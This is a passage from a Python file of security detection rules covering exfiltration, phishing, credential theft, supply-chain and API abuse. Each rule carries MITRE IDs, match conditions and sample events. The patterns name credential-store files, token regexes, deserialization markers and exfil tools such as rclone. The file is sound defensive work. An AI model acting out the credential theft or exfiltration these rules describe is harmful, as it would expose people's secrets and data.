"name": "Kubernetes Pulled Image From Untrusted Registry",
"severity": "high",
"mitre": ["t1525"],
"log_source": {"product": "kubernetes", "service": "audit"},
"fields": {"verb", "object_resource", "image_registry_in_allowlist"},
"match_when": {"verb": "create", "object_resource": "pods", "image_registry_in_allowlist": False},
"fp": ["Sandbox/research clusters (allowlist namespace)"],
"playbook": "tpl-supply-chain",
"positive": {"verb": "create", "object_resource": "pods", "image_registry_in_allowlist": False, "namespace": "production", "image": "ghcr.io/external/payload:latest"},
"negative": {"verb": "create", "object_resource": "pods", "image_registry_in_allowlist": True, "namespace": "production", "image": "registry.corp.com/svc:1.2.3"},
},
{
"slug": "api-mass-enumeration-ids",
"name": "Sequential ID Enumeration Pattern Against API",
"severity": "high",
"mitre": ["t1592"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"distinct_object_ids_per_src", "time_window_minutes"},
"match_when": {"distinct_object_ids_per_src_gt": 1000, "time_window_minutes_lt": 5},
"fp": ["Bulk-export job (src must be in allowlist)"],
"playbook": "tpl-data-exfil",
"positive": {"distinct_object_ids_per_src": 5000, "time_window_minutes": 3, "src_ip": "203.0.113.7"},
"negative": {"distinct_object_ids_per_src": 30, "time_window_minutes": 60, "src_ip": "10.0.5.7"},
},
{
"slug": "api-permission-bypass-idor",
"name": "API Returned Object Outside Caller's Tenant",
"severity": "critical",
"mitre": ["t1212"],
"log_source": {"product": "app", "service": "audit"},
"fields": {"event_type", "object_tenant_id", "caller_tenant_id"},
"match_when": {"event_type": "object.read", "object_tenant_id_eq_caller_tenant_id": False},
"fp": ["Admin-impersonation operations (must originate from internal tooling)"],
"playbook": "tpl-data-exposure",
"positive": {"event_type": "object.read", "object_tenant_id": "tenant-A", "caller_tenant_id": "tenant-B", "object_tenant_id_eq_caller_tenant_id": False},
"negative": {"event_type": "object.read", "object_tenant_id": "tenant-A", "caller_tenant_id": "tenant-A", "object_tenant_id_eq_caller_tenant_id": True},
},
{
"slug": "csrf-on-sensitive-mutation",
"name": "POST Without Referer/Origin to Sensitive Endpoint",
"severity": "medium",
"mitre": ["t1190"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"method", "request_uri", "referer_present", "origin_present"},
"match_when": {"method": "POST", "request_uri_in_sensitive_paths": True, "referer_present": False, "origin_present": False},
"fp": ["Allowlisted server-to-server APIs that bypass browser flow"],
"playbook": "tpl-webattack",
"positive": {"method": "POST", "request_uri": "/account/email", "request_uri_in_sensitive_paths": True, "referer_present": False, "origin_present": False, "host": "app.corp.com"},
"negative": {"method": "POST", "request_uri": "/account/email", "request_uri_in_sensitive_paths": True, "referer_present": True, "origin_present": True, "host": "app.corp.com"},
},
{
"slug": "deserialization-attack",
"name": "Java/Python Deserialization Pattern",
"severity": "critical",
"mitre": ["t1190"],
"log_source": {"product": "waf", "service": "http"},
"fields": {"request_body"},
"match_when": {"request_body_pattern_match_any": ["rO0AB", "AAEAAAD", "_\\$\\$ND_FUNC\\$\\$_"]},
"fp": ["Legitimate serialization formats in trusted internal traffic (allowlist src)"],
"playbook": "tpl-webattack",
"positive": {"request_body": "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA==", "host": "app.corp.com"},
"negative": {"request_body": "{\"name\":\"alice\"}", "host": "app.corp.com"},
},
{
"slug": "gitlab-runner-shared-tag",
"name": "GitLab Runner Registered as Shared Without Approval",
"severity": "high",
"mitre": ["t1525"],
"log_source": {"product": "gitlab", "service": "audit"},
"fields": {"event_type", "runner_scope"},
"match_when": {"event_type": "runners.register", "runner_scope": "shared"},
"fp": ["Approved org-shared runner (must be from infra team)"],
"playbook": "tpl-supply-chain",
"positive": {"event_type": "runners.register", "runner_scope": "shared", "actor": "[email protected]"},
"negative": {"event_type": "runners.register", "runner_scope": "project", "actor": "[email protected]"},
},
{
"slug": "saas-mass-share-public",
"name": "SaaS File Mass Public-Share by Single User",
"severity": "high",
"mitre": ["t1530"],
"log_source": {"product": "google-workspace", "service": "drive"},
"fields": {"event_type", "share_visibility", "file_count_per_user", "time_window_minutes"},
"match_when": {"event_type": "drive.acl.change", "share_visibility": "public", "file_count_per_user_gt": 10, "time_window_minutes_lt": 30},
"fp": ["Approved customer-share workflows (allowlist user)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "drive.acl.change", "share_visibility": "public", "file_count_per_user": 100, "time_window_minutes": 12, "user": "[email protected]"},
"negative": {"event_type": "drive.acl.change", "share_visibility": "domain-internal", "file_count_per_user": 3, "time_window_minutes": 60, "user": "[email protected]"},
},
{
"slug": "slack-token-exposed",
"name": "Slack Token Posted in Public Channel",
"severity": "high",
"mitre": ["t1552.004"],
"log_source": {"product": "slack", "service": "audit"},
"fields": {"event_type", "message_text", "channel_visibility"},
"match_when": {"event_type": "message.posted", "message_text_pattern_match_any": ["xoxp-", "xoxb-", "xoxa-"], "channel_visibility": "public"},
"fp": ["Channels named #security-test (must be allowlisted)"],
"playbook": "tpl-secret-leak",
"positive": {"event_type": "message.posted", "message_text": "deploy creds: xoxb-1234-abcd-EXAMPLE", "channel_visibility": "public", "channel": "#general"},
"negative": {"event_type": "message.posted", "message_text": "morning standup notes attached", "channel_visibility": "public", "channel": "#general"},
},
{
"slug": "saas-app-installed",
"name": "Marketplace App Installed With Broad Scopes",
"severity": "medium",
"mitre": ["t1098.001"],
"log_source": {"product": "google-workspace", "service": "audit"},
"fields": {"event_type", "scope_set"},
"match_when": {"event_type": "marketplace.app.installed", "scope_set_contains_any": ["mail.full", "drive.full", "directory.readwrite"]},
"fp": ["IT-managed installs (allowlist publisher)"],
"playbook": "tpl-account-compromise",
"positive": {"event_type": "marketplace.app.installed", "scope_set": ["drive.full"], "app": "thirdparty-importer", "actor": "[email protected]"},
"negative": {"event_type": "marketplace.app.installed", "scope_set": ["calendar.read"], "app": "calendar-helper", "actor": "[email protected]"},
},
{
"slug": "browser-credential-grabber",
"name": "Process Reading Browser Login Database",
"severity": "high",
"mitre": ["t1555.003"],
"log_source": {"product": "edr", "service": "file-read"},
"fields": {"event_type", "file_path"},
"match_when": {"event_type": "FileRead", "file_path_endswith_any": ["Login Data", "logins.json", "key3.db", "key4.db"]},
"fp": ["Browser itself (allowlist by image-path of actual browser binary)"],
"playbook": "tpl-credential-theft",
"positive": {"event_type": "FileRead", "file_path": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", "image": "C:\\Users\\Public\\stealer.exe", "host": "wks-001"},
"negative": {"event_type": "FileRead", "file_path": "C:\\Users\\user\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", "image": "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "host": "wks-001"},
},
{
"slug": "rdp-tickling",
"name": "Outbound RDP Connection Initiated From Workstation to Internet",
"severity": "high",
"mitre": ["t1572"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"src_role", "dst_port", "dst_ip_class"},
"match_when": {"src_role": "workstation", "dst_port": 3389, "dst_ip_class": "internet"},
"fp": ["Allowlisted IT support tooling (rare)"],
"playbook": "tpl-account-anomaly",
"positive": {"src_role": "workstation", "dst_port": 3389, "dst_ip_class": "internet", "src_host": "wks-001", "dst_ip": "203.0.113.7"},
"negative": {"src_role": "workstation", "dst_port": 443, "dst_ip_class": "internet", "src_host": "wks-001", "dst_ip": "203.0.113.7"},
},
{
"slug": "phishing-ms365-impersonation",
"name": "Microsoft 365 Brand Impersonation Phishing URL",
"severity": "high",
"mitre": ["t1566.002"],
"log_source": {"product": "email", "service": "messages"},
"fields": {"url_brand_impersonation"},
"match_when": {"url_brand_impersonation_in": ["microsoft", "office365", "okta", "google-login"]},
"fp": ["Approved internal phishing-simulation campaigns (must be tagged)"],
"playbook": "tpl-phishing",
"positive": {"url_brand_impersonation": "office365", "url": "https://office365-login.evil.tld", "to": "[email protected]"},
"negative": {"url_brand_impersonation": None, "url": "https://corp.sharepoint.com/share/abc", "to": "[email protected]"},
},
{
"slug": "phishing-attachment-double-extension",
"name": "Email Attachment with Double Extension Pattern",
"severity": "medium",
"mitre": ["t1566.001"],
"log_source": {"product": "email", "service": "messages"},
"fields": {"attachment_filename"},
"match_when": {"attachment_filename_match": ".+\\.(pdf|doc|xls|jpg|png)\\.(exe|js|vbs|scr|jar)$"},
"fp": ["Vendor archives with intentional double-extension labels (rare)"],
"playbook": "tpl-phishing",
"positive": {"attachment_filename": "Invoice.pdf.exe", "to": "[email protected]"},
"negative": {"attachment_filename": "Invoice.pdf", "to": "[email protected]"},
},
]
# =============================================================================
# DATA-EXFIL (20)
# =============================================================================
DATA_EXFIL: list[dict] = [
{
"slug": "large-egress-personal-cloud",
"name": "Large Outbound Transfer to Personal Cloud Storage",
"severity": "high",
"mitre": ["t1567.002"],
"log_source": {"product": "proxy", "service": "http"},
"fields": {"dst_in_personal_cloud_list", "bytes_out", "time_window_minutes"},
"match_when": {"dst_in_personal_cloud_list": True, "bytes_out_gt": 100_000_000, "time_window_minutes_lt": 60},
"fp": ["Allowlisted business cloud-storage backups (rare)"],
"playbook": "tpl-data-exfil",
"positive": {"dst_in_personal_cloud_list": True, "dst_host": "personal-cloud.tld", "bytes_out": 500_000_000, "time_window_minutes": 30, "src_host": "wks-001"},
"negative": {"dst_in_personal_cloud_list": False, "dst_host": "corp-backup.com", "bytes_out": 500_000_000, "time_window_minutes": 30, "src_host": "wks-001"},
},
{
"slug": "egress-spike-baseline",
"name": "Outbound Bytes Spike Above Baseline (Anomaly)",
"severity": "high",
"mitre": ["t1041"],
"log_source": {"product": "ndr", "service": "flow"},
"fields": {"bytes_out_per_src", "baseline_z_score"},
"match_when": {"bytes_out_per_src_gt": 200_000_000, "baseline_z_score_gt": 4},
"fp": ["Approved bulk syncs (allowlist src)"],
"playbook": "tpl-data-exfil",
"positive": {"bytes_out_per_src": 800_000_000, "baseline_z_score": 7.5, "src_host": "wks-001"},
"negative": {"bytes_out_per_src": 50_000_000, "baseline_z_score": 0.8, "src_host": "wks-001"},
},
{
"slug": "rclone-process-on-host",
"name": "rclone or megacmd Process Spawned on Host",
"severity": "high",
"mitre": ["t1567.002"],
"log_source": {"product": "edr", "service": "process-create"},
"fields": {"image_basename"},
"match_when": {"image_basename_in": ["rclone.exe", "rclone", "megacmd", "megacmd.exe"]},
"fp": ["Allowlisted backup tooling (must be in allowlist)"],
"playbook": "tpl-data-exfil",
"positive": {"image_basename": "rclone.exe", "host": "wks-001"},
"negative": {"image_basename": "robocopy.exe", "host": "wks-001"},
},
{
"slug": "archive-then-egress",
"name": "Archive Tool Then Large Egress Within 15 Minutes",
"severity": "high",
"mitre": ["t1560.001", "t1041"],
"log_source": {"product": "edr", "service": "correlated"},
"fields": {"archive_seen_within_minutes", "egress_bytes"},
"match_when": {"archive_seen_within_minutes_lt": 15, "egress_bytes_gt": 100_000_000},
"fp": ["Backup tool that compresses then ships (allowlist)"],
"playbook": "tpl-data-exfil",
"positive": {"archive_seen_within_minutes": 8, "egress_bytes": 500_000_000, "host": "wks-001"},
"negative": {"archive_seen_within_minutes": 240, "egress_bytes": 5_000, "host": "wks-001"},
},
{
"slug": "data-share-external-domain",
"name": "SaaS File Shared to External Domain",
"severity": "medium",
"mitre": ["t1567"],
"log_source": {"product": "google-workspace", "service": "drive"},
"fields": {"event_type", "share_target_domain_in_allowlist"},
"match_when": {"event_type": "drive.acl.change", "share_target_external": True, "share_target_domain_in_allowlist": False},
"fp": ["Approved B2B partners (allowlisted)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "drive.acl.change", "share_target_external": True, "share_target_domain_in_allowlist": False, "share_target_domain": "personal-mail.tld", "user": "[email protected]"},
"negative": {"event_type": "drive.acl.change", "share_target_external": True, "share_target_domain_in_allowlist": True, "share_target_domain": "approved-partner.com", "user": "[email protected]"},
},
{
"slug": "salesforce-bulk-export",
"name": "Salesforce Bulk Data Export by Non-Allowlisted User",
"severity": "high",
"mitre": ["t1530"],
"log_source": {"product": "salesforce", "service": "audit"},
"fields": {"event_type", "row_count", "actor_in_export_allowlist"},
"match_when": {"event_type_in": ["DataExport", "ReportExport"], "row_count_gt": 50_000, "actor_in_export_allowlist": False},
"fp": ["Allowlisted analytics roles (must be in allowlist)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "DataExport", "row_count": 500_000, "actor_in_export_allowlist": False, "actor": "[email protected]"},
"negative": {"event_type": "DataExport", "row_count": 200, "actor_in_export_allowlist": True, "actor": "[email protected]"},
},
{
"slug": "snowflake-mass-export",
"name": "Snowflake Large Result-Set Download by Non-Service Account",
"severity": "high",
"mitre": ["t1530"],
"log_source": {"product": "snowflake", "service": "queryhistory"},
"fields": {"event_type", "rows_produced", "user_type"},
"match_when": {"event_type": "QUERY", "rows_produced_gt": 1_000_000, "user_type": "human"},
"fp": ["Allowlisted analyst-team queries (must reference query-tag)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "QUERY", "rows_produced": 5_000_000, "user_type": "human", "query": "SELECT * FROM CUSTOMER", "user": "[email protected]"},
"negative": {"event_type": "QUERY", "rows_produced": 1_000_000, "user_type": "service", "query": "SELECT * FROM CUSTOMER", "user": "etl-svc"},
},
{
"slug": "db-mass-row-read",
"name": "Database Application Reads Anomalously High Row Count",
"severity": "medium",
"mitre": ["t1530"],
"log_source": {"product": "db", "service": "query"},
"fields": {"event_type", "rows_read_per_session", "baseline_z_score"},
"match_when": {"event_type": "SQL_SELECT", "rows_read_per_session_gt": 500_000, "baseline_z_score_gt": 4},
"fp": ["Reporting jobs (allowlist principal)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "SQL_SELECT", "rows_read_per_session": 2_000_000, "baseline_z_score": 6.5, "user": "[email protected]"},
"negative": {"event_type": "SQL_SELECT", "rows_read_per_session": 50, "baseline_z_score": 0.4, "user": "[email protected]"},
},
{
"slug": "off-hours-bulk-download",
"name": "Bulk Download Outside Business Hours",
"severity": "medium",
"mitre": ["t1041"],
"log_source": {"product": "proxy", "service": "http"},
"fields": {"bytes_out", "hour_of_day_local"},
"match_when": {"bytes_out_gt": 50_000_000, "hour_of_day_local_not_in": list(range(7, 20))},
"fp": ["On-call user with active P0/P1 (must reference incident)"],
"playbook": "tpl-data-exfil",
"positive": {"bytes_out": 200_000_000, "hour_of_day_local": 3, "user": "[email protected]"},
"negative": {"bytes_out": 100_000_000, "hour_of_day_local": 11, "user": "[email protected]"},
},
{
"slug": "github-pii-pattern-push",
"name": "Git Push Containing PII or Secret Pattern",
"severity": "high",
"mitre": ["t1552.001"],
"log_source": {"product": "github", "service": "audit"},
"fields": {"action", "diff_text"},
"match_when": {"action": "git.push", "diff_text_pattern_match_any": ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "[A-Z0-9._%+-]+@[A-Z0-9.-]+ pii=true"]},
"fp": ["Test fixtures (must be tagged)"],
"playbook": "tpl-secret-leak",
"positive": {"action": "git.push", "diff_text": "+ secret = \"AKIAIOSFODNN7EXAMPLE\"", "ref": "refs/heads/main", "actor": "[email protected]"},
"negative": {"action": "git.push", "diff_text": "+ // refactor: rename helper", "ref": "refs/heads/main", "actor": "[email protected]"},
},
{
"slug": "outbound-paste-public",
"name": "Outbound Paste to Public Pastebin / Gist",
"severity": "medium",
"mitre": ["t1567"],
"log_source": {"product": "proxy", "service": "http"},
"fields": {"method", "dst_in_paste_list", "bytes_out"},
"match_when": {"method": "POST", "dst_in_paste_list": True, "bytes_out_gt": 1_000},
"fp": ["Engineering posting OSS code (allowlist users)"],
"playbook": "tpl-data-exfil",
"positive": {"method": "POST", "dst_in_paste_list": True, "bytes_out": 50_000, "dst_host": "pastebin.com", "src_host": "wks-001"},
"negative": {"method": "POST", "dst_in_paste_list": False, "bytes_out": 50_000, "dst_host": "company-internal.com", "src_host": "wks-001"},
},
{
"slug": "encrypted-archive-attachment",
"name": "Encrypted Archive Attachment Sent Externally",
"severity": "medium",
"mitre": ["t1560.001", "t1567"],
"log_source": {"product": "email", "service": "messages"},
"fields": {"attachment_encrypted", "to_external"},
"match_when": {"attachment_encrypted": True, "to_external": True},
"fp": ["Approved encrypted exchange with regulated counterparties (allowlist)"],
"playbook": "tpl-data-exfil",
"positive": {"attachment_encrypted": True, "to_external": True, "from": "[email protected]", "to": "[email protected]"},
"negative": {"attachment_encrypted": False, "to_external": True, "from": "[email protected]", "to": "[email protected]"},
},
{
"slug": "printer-mass-print-confidential",
"name": "Mass Print Job From Confidential Document Repository",
"severity": "medium",
"mitre": ["t1052"],
"log_source": {"product": "windows", "service": "print"},
"fields": {"event_id", "page_count_per_user", "doc_classification", "time_window_hours"},
"match_when": {"event_id": 307, "page_count_per_user_gt": 500, "doc_classification": "confidential", "time_window_hours_lt": 1},
"fp": ["Approved bulk-print operations (must be ticketed)"],
"playbook": "tpl-data-exfil",
"positive": {"event_id": 307, "page_count_per_user": 1500, "doc_classification": "confidential", "time_window_hours": 0.5, "user": "[email protected]"},
"negative": {"event_id": 307, "page_count_per_user": 5, "doc_classification": "confidential", "time_window_hours": 24, "user": "[email protected]"},
},
{
"slug": "bulk-zip-on-fileserver",
"name": "Bulk Zip Creation on File Server",
"severity": "medium",
"mitre": ["t1560.001"],
"log_source": {"product": "edr", "service": "file-create"},
"fields": {"event_type", "file_path", "zip_size_bytes", "host_role"},
"match_when": {"event_type": "FileCreate", "file_path_endswith": ".zip", "zip_size_bytes_gt": 500_000_000, "host_role": "fileserver"},
"fp": ["Approved backup process (must be from backup principal)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "FileCreate", "file_path": "C:\\share\\bulk.zip", "zip_size_bytes": 2_000_000_000, "host_role": "fileserver", "host": "fs-01"},
"negative": {"event_type": "FileCreate", "file_path": "C:\\share\\report.docx", "zip_size_bytes": None, "host_role": "fileserver", "host": "fs-01"},
},
{
"slug": "bulk-msg-export-mail",
"name": "Bulk Mailbox Export From M365 Compliance Center",
"severity": "high",
"mitre": ["t1114.002"],
"log_source": {"product": "azure", "service": "azuread-audit"},
"fields": {"operation_name"},
"match_when": {"operation_name": "Search-Mailbox -DeleteContent:$false -TargetMailbox"},
"fp": ["Approved eDiscovery operations (must be ticketed)"],
"playbook": "tpl-data-exfil",
"positive": {"operation_name": "Search-Mailbox -DeleteContent:$false -TargetMailbox", "target": "[email protected]", "actor": "[email protected]"},
"negative": {"operation_name": "Search-Mailbox -EstimateResultOnly", "target": "[email protected]", "actor": "[email protected]"},
},
{
"slug": "exchange-mail-forward-external",
"name": "Inbox Rule Forwarding to External Address",
"severity": "high",
"mitre": ["t1114.003"],
"log_source": {"product": "azure", "service": "exchange-online"},
"fields": {"operation_name", "forward_destination_external"},
"match_when": {"operation_name_in": ["New-InboxRule", "Set-InboxRule"], "forward_destination_external": True},
"fp": ["Approved external assistant/EA address (allowlisted)"],
"playbook": "tpl-account-compromise",
"positive": {"operation_name": "New-InboxRule", "forward_destination_external": True, "forward_to": "[email protected]", "user": "[email protected]"},
"negative": {"operation_name": "New-InboxRule", "forward_destination_external": False, "forward_to": "team-folder", "user": "[email protected]"},
},
{
"slug": "backup-export-anomalous",
"name": "Backup Export to Non-Allowlisted Destination",
"severity": "high",
"mitre": ["t1567"],
"log_source": {"product": "cloud", "service": "backup"},
"fields": {"event_type", "backup_dst_in_allowlist"},
"match_when": {"event_type": "Backup.Export", "backup_dst_in_allowlist": False},
"fp": ["Approved DR drill (must be ticketed)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "Backup.Export", "backup_dst_in_allowlist": False, "destination": "external-account-999"},
"negative": {"event_type": "Backup.Export", "backup_dst_in_allowlist": True, "destination": "approved-dr-account"},
},
{
"slug": "container-mass-image-export",
"name": "Container Image Mass Export to External Registry",
"severity": "high",
"mitre": ["t1567"],
"log_source": {"product": "cloud", "service": "registry"},
"fields": {"event_type", "dst_registry_in_allowlist", "image_count_per_principal", "time_window_minutes"},
"match_when": {"event_type": "image.push", "dst_registry_in_allowlist": False, "image_count_per_principal_gt": 5, "time_window_minutes_lt": 30},
"fp": ["Approved OSS image releases (allowlist destination)"],
"playbook": "tpl-data-exfil",
"positive": {"event_type": "image.push", "dst_registry_in_allowlist": False, "image_count_per_principal": 12, "time_window_minutes": 8, "principal": "[email protected]"},
"negative": {"event_type": "image.push", "dst_registry_in_allowlist": True, "image_count_per_principal": 1, "time_window_minutes": 60, "principal": "[email protected]"},
},
{
"slug": "vpn-large-download-foreign",
"name": "VPN Tunnel Large Download from Foreign Country",
"severity": "medium",
"mitre": ["t1041"],
"log_source": {"product": "vpn", "service": "session"},
"fields": {"src_country", "src_country_in_allowlist", "bytes_in"},
"match_when": {"src_country_in_allowlist": False, "bytes_in_gt": 200_000_000},
"fp": ["Approved business travel (must be ticketed)"],
"playbook": "tpl-data-exfil",
"positive": {"src_country": "RU", "src_country_in_allowlist": False, "bytes_in": 800_000_000, "user": "[email protected]"},
"negative": {"src_country": "US", "src_country_in_allowlist": True, "bytes_in": 500_000, "user": "[email protected]"},
},
{
"slug": "secrets-mass-fetch",
"name": "Secrets Manager Bulk Fetch by Human Principal",
"severity": "high",
"mitre": ["t1555", "t1530"],
"log_source": {"product": "cloud", "service": "secrets"},
"fields": {"event_type", "secret_count_per_principal", "principal_type", "time_window_minutes"},
"match_when": {"event_type": "GetSecretValue", "secret_count_per_principal_gt": 25, "principal_type": "human", "time_window_minutes_lt": 10},
"fp": ["Allowlisted ops break-glass (must be on-call)"],
"playbook": "tpl-credential-theft",
"positive": {"event_type": "GetSecretValue", "secret_count_per_principal": 80, "principal_type": "human", "time_window_minutes": 4, "principal": "[email protected]"},
"negative": {"event_type": "GetSecretValue", "secret_count_per_principal": 60, "principal_type": "service", "time_window_minutes": 4, "principal": "deploy-bot"},
},
]
# fmt: on